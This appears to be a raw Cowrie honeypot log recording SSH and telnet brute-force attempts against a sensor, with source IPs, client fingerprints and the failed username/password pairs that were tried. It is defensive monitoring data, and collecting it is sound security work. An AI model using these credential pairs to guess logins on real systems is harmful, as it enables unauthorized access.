{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":34906,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0e80eafca7e","protocol":"ssh","message":"New connection: 209.99.184.143:34906 (159.203.135.109:22) [session: c0e80eafca7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:16.403543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:16.412714Z","src_ip":"209.99.184.143","session":"c0e80eafca7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:16.504363Z","src_ip":"209.99.184.143","session":"c0e80eafca7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vijay","password":"vijay@123","message":"login attempt [vijay/vijay@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:16.904325Z","src_ip":"209.99.184.143","session":"c0e80eafca7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:17.999878Z","src_ip":"209.99.184.143","session":"c0e80eafca7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":48734,"dst_ip":"159.203.135.109","dst_port":22,"session":"faadc091b32e","protocol":"ssh","message":"New connection: 171.244.141.86:48734 (159.203.135.109:22) [session: faadc091b32e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:19.008255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:19.013547Z","src_ip":"171.244.141.86","session":"faadc091b32e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:19.260931Z","src_ip":"171.244.141.86","session":"faadc091b32e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mus1c","message":"login attempt [root/mus1c] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:20.274628Z","src_ip":"171.244.141.86","session":"faadc091b32e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:21.526793Z","src_ip":"171.244.141.86","session":"faadc091b32e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":59060,"dst_ip":"159.203.135.109","dst_port":22,"session":"4594d3af5abd","protocol":"ssh","message":"New connection: 72.17.34.38:59060 (159.203.135.109:22) [session: 4594d3af5abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:29.396862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:29.405667Z","src_ip":"72.17.34.38","session":"4594d3af5abd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:29.440960Z","src_ip":"72.17.34.38","session":"4594d3af5abd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"paris","message":"login attempt [root/paris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:29.614527Z","src_ip":"72.17.34.38","session":"4594d3af5abd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:30.653599Z","src_ip":"72.17.34.38","session":"4594d3af5abd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":40648,"dst_ip":"159.203.135.109","dst_port":22,"session":"e05d8cdb1250","protocol":"ssh","message":"New connection: 43.135.182.46:40648 (159.203.135.109:22) [session: e05d8cdb1250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:55.554944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:55.561012Z","src_ip":"43.135.182.46","session":"e05d8cdb1250","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:55.630448Z","src_ip":"43.135.182.46","session":"e05d8cdb1250","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:55.939049Z","src_ip":"43.135.182.46","session":"e05d8cdb1250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:41:57.012345Z","src_ip":"43.135.182.46","session":"e05d8cdb1250","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":44624,"dst_ip":"159.203.135.109","dst_port":23,"session":"61b9233da0cb","protocol":"telnet","message":"New connection: 186.195.16.41:44624 (159.203.135.109:23) [session: 61b9233da0cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:42:03.904906Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.79.29.108","src_port":40688,"dst_ip":"159.203.135.109","dst_port":22,"session":"a07a7962e4b1","protocol":"ssh","message":"New connection: 202.79.29.108:40688 (159.203.135.109:22) [session: a07a7962e4b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:42:15.964627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:42:15.970297Z","src_ip":"202.79.29.108","session":"a07a7962e4b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:42:16.233605Z","src_ip":"202.79.29.108","session":"a07a7962e4b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":45808,"dst_ip":"159.203.135.109","dst_port":22,"session":"af5571063fc0","protocol":"ssh","message":"New connection: 209.99.184.143:45808 (159.203.135.109:22) [session: af5571063fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:42:16.881593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:42:16.886335Z","src_ip":"209.99.184.143","session":"af5571063fc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:42:16.977965Z","src_ip":"209.99.184.143","session":"af5571063fc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pedrito","password":"pedrito","message":"login attempt [pedrito/pedrito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:42:17.313291Z","src_ip":"202.79.29.108","session":"a07a7962e4b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"behnam","password":"behnam","message":"login attempt [behnam/behnam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:42:17.376685Z","src_ip":"209.99.184.143","session":"af5571063fc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:42:18.472356Z","src_ip":"209.99.184.143","session":"af5571063fc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:42:18.576614Z","src_ip":"202.79.29.108","session":"a07a7962e4b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":45186,"dst_ip":"159.203.135.109","dst_port":22,"session":"e87bd4768da8","protocol":"ssh","message":"New connection: 103.183.114.55:45186 (159.203.135.109:22) [session: e87bd4768da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:42:40.719520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:42:40.724662Z","src_ip":"103.183.114.55","session":"e87bd4768da8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:42:40.951963Z","src_ip":"103.183.114.55","session":"e87bd4768da8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"989898","message":"login attempt [root/989898] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:42:41.638570Z","src_ip":"103.183.114.55","session":"e87bd4768da8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:42:42.868332Z","src_ip":"103.183.114.55","session":"e87bd4768da8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":54998,"dst_ip":"159.203.135.109","dst_port":22,"session":"187747cd2b8c","protocol":"ssh","message":"New connection: 72.17.34.38:54998 (159.203.135.109:22) [session: 187747cd2b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:42:45.956935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:42:45.961876Z","src_ip":"72.17.34.38","session":"187747cd2b8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:42:45.997852Z","src_ip":"72.17.34.38","session":"187747cd2b8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wq123456","message":"login attempt [root/Wq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:42:46.171977Z","src_ip":"72.17.34.38","session":"187747cd2b8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:42:47.210745Z","src_ip":"72.17.34.38","session":"187747cd2b8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.5326988697052,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:42:50.437477Z","src_ip":"186.195.16.41","session":"61b9233da0cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42852,"dst_ip":"10.17.0.5","dst_port":23,"session":"9273c6325e3a","protocol":"telnet","message":"New connection: 192.119.13.58:42852 (10.17.0.5:23) [session: 9273c6325e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:00.981439Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.31.151","src_port":34460,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d6e29df86bf","protocol":"ssh","message":"New connection: 43.130.31.151:34460 (159.203.135.109:22) [session: 7d6e29df86bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:07.346310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:07.350797Z","src_ip":"43.130.31.151","session":"7d6e29df86bf","protocol":"ssh"}
